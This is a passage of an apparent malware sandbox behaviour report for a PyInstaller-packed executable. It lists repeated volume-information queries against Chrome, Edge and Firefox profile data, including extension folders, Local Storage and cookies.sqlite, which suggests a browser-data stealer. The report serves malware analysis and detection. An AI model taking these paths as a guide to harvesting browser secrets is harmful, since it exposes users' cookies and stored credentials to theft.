Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\Desktop\e45AiBoV6X.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73802\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ka VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\kk VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lo VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lv VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crowd Deny VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ar VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\az VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\da VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\de VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\en_US VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\es_419 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\CommerceHeuristics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\fr_CA VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\e45AiBoV6X.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache VolumeInformation	Jump to behavior
